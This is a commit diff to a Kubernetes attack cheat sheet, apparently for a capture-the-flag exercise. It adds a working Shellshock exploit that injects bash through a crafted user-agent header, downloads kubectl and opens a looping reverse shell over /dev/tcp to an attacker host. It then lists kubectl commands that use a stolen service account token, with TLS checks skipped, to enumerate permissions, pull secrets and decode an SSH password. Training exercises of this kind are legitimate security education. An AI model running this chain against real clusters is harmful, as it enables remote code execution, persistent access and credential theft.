Skip to content

Commit eee82b8

Browse files
author
Ana Calin
committed
solution part 2
1 parent 693c412 commit eee82b8

File tree

1 file changed

+45
-0
lines changed

1 file changed

+45
-0
lines changed

k8s_cheatsheet.md

+45
Original file line numberDiff line numberDiff line change
@@ -82,6 +82,8 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
8282
nmap-kube-discover
8383
```
8484

85+
Part 1: compromise via shellshock
86+
8587
Useful commands for finding open ports:
8688

8789
```
@@ -121,4 +123,47 @@ command nmap -Pn -T4 --open <host-ip> -p 30081
121123

122124
```
123125
while :; do curl http://<host_ip>:30081/cgi-bin/stats -H 'user-agent: () { :; }; echo; echo; 2>&1 /bin/bash -c "test -f /tmp/k || wget -O /tmp/k https://storage.googleapis.com/kubernetes-release/release/v1.11.2/bin/linux/amd64/kubectl && chmod +x /tmp/k && /tmp/k version; df -h; while :; do nohup bash -i >& /dev/tcp/<host_ip>/1234 0>&1; sleep 1; done"'; done
126+
```
127+
128+
Part 2:
129+
130+
Kubectl SA: steal secret with ssh password in (flag)
131+
132+
### Steps
133+
134+
1. on the control server, or via individual shellshock commands:
135+
136+
Search for secrets:
137+
138+
```
139+
df -h
140+
cat /run/secrets/kubernetes.io/serviceaccount/token; echo
141+
142+
/tmp/k --token "$(cat /run/secrets/kubernetes.io/serviceaccount/token)" --server https://kubernetes.default.svc --insecure-skip-tls-verify get nodes
143+
144+
/tmp/k --token "$(cat /run/secrets/kubernetes.io/serviceaccount/token)" --server https://kubernetes.default.svc --insecure-skip-tls-verify auth can-i get secrets --namespace kube-system
145+
```
146+
147+
2. pull secrets from the API server for this namespace (there's a service account mounted that can read kube-system)
148+
149+
```
150+
/tmp/k --token "$(cat /run/secrets/kubernetes.io/serviceaccount/token)" --server https://kubernetes.default.svc --insecure-skip-tls-verify get secrets -n shellshock
151+
```
152+
153+
3. we've found secrets, now decode them
154+
155+
> first way requires manual base64 decode, second is a one-liner
156+
157+
```
158+
/tmp/k --token "$(cat /run/secrets/kubernetes.io/serviceaccount/token)" --request-timeout 5s --server https://kubernetes.default.svc --insecure-skip-tls-verify get secret my-secret -o yaml -n shellshock
159+
160+
/tmp/k --token "$(cat /run/secrets/kubernetes.io/serviceaccount/token)" --server https://kubernetes.default.svc --insecure-skip-tls-verify get secret my-secret -n shellshock -o 'go-template={{index .data "ssh_password"}}' | base64 -d; echo
161+
```
162+
163+
4. find password for ssh server in flag
164+
165+
5. write password in local file to win (or just tell ControlPlane!) TODO(low): write test for this
166+
167+
```
168+
echo 'What kind of plane is it?' > /tmp/flag
124169
```

0 commit comments

Comments
 (0)